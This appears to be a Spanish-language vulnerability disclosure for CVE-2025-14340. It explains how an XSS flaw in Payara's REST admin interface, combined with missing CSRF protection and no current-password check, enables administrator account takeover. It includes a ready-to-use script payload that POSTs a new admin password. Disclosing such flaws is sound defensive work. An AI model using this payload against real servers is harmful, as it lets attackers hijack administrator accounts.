XSS para la toma de control de la cuenta de administrador (CVE-2025-14340)

Una vulnerabilidad de Cross-Site Scripting en la interfaz REST de administración de Payara permite la ejecución de JavaScript controlado por el atacante, lo que provoca la toma de control de la cuenta de administrador. Esto se debe a:

1. El panel utiliza autenticación básica HTTP (las credenciales se envían automáticamente por el navegador para solicitudes del mismo origen).
2. El endpoint change-admin-password no requiere la contraseña actual para actualizar la contraseña de un usuario.
3. El formulario change-admin-password no tiene protección CSRF.
4. Un script inyectado mediante el XSS en /management/domain/version puede hacer POST a /management/domain/change-admin-password y establecer una contraseña elegida por el atacante para cualquier cuenta objetivo, lo que resulta en la toma de control de la cuenta de administrador.

Prueba de concepto

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Aviso legal

SOLO USO AUTORIZADO. DeepSecurity Perú no respalda el acceso no autorizado y no se hace responsable por el mal uso de la información proporcionada.